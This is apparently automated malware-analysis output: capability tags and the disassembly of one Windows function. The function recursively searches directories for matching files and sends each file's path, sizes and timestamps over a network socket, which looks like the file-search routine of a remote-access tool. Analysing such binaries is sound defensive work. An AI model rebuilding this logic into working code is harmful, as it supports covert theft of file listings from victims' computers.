Function at 0x18000aaa0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x5a8]
sub rsp, 0x6a8
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rbp + 0x590], rax
mov rdi, rcx
mov ebx, r9d
mov rsi, r8
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rdx
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x250
mov dword [rsp + 0x20], ebx
call fcn.180021060
lea rcx, [rbp + 0x390]
xor edx, edx
mov r8d, pe_nt_image_headers64
call fcn.180021060
lea rcx, [rbp + 0x190]
xor edx, edx
mov r8d, pe_nt_image_headers64
call fcn.180021060
mov rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
cmp word [rbp + rcx*2 + 0x38e], 0x5c
je 0x18000ab57
lea rdx, [0x180039a84]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x180039ab0]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
cmp word [rbp + rcx*2 + 0x18e], 0x5c
je 0x18000abc3
lea rdx, [0x180039a84]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x6c]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
test byte [rsp + 0x40], 0x10
je 0x18000ac2a
lea rdx, [0x180039a94]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x18000ac2a
lea rdx, [0x180039a98]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x18000ac2a
test ebx, ebx
je 0x18000ad60
lea rdx, [rbp + 0x190]
mov r9d, ebx
mov r8, rsi
mov rcx, rdi
call fcn.18000aaa0
jmp 0x18000ad60
lea rdx, [0x180039a94]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x18000ad60
lea rdx, [0x180039a98]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x18000ad60
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x6c]
inc eax
movsxd rdx, eax
call fcn.18001d228
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rsi
inc eax
movsxd rdx, eax
call fcn.18001d228
lea rcx, [rsp + 0x6c]
mov rdx, rsi
call fcn.18001d230
test rax, rax
je 0x18000ad60
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
movzx ecx, byte [rsp + 0x40]
and cl, 0x10
mov rsi, rax
mov byte [rax + 1], cl
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsi + 2]
lea rdx, [rbp + 0x190]
lea ebx, [rax + rax + 2]
movsxd r8, ebx
call fcn.18001bea0
mov eax, dword [rsp + 0x5c]
add ebx, 2
mov dword [rbx + rsi], eax
mov eax, dword [rsp + 0x60]
mov dword [rbx + rsi + 4], eax
mov rax, qword [rsp + 0x54]
add ebx, 8
mov qword [rbx + rsi], rax
add ebx, 8
cmp ebx, 1
jbe 0x18000ad57
mov edx, ebx
mov r8d, 0x42
mov rcx, rsi
mov byte [rsi], 0x1f
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LocalSize]
cmp dword [rdi + 0x10], 0
jne 0x18000ad43
mov rcx, qword [rdi + 8]
mov r8d, eax
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rsi, qword [rsp + 0x38]
mov ebx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x18000ad81
cmp dword [rdi + 0x290], 0
je 0x18000ab82
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.18001be70
add rsp, 0x6a8
pop rdi
pop rsi
pop rbx
pop rbp
ret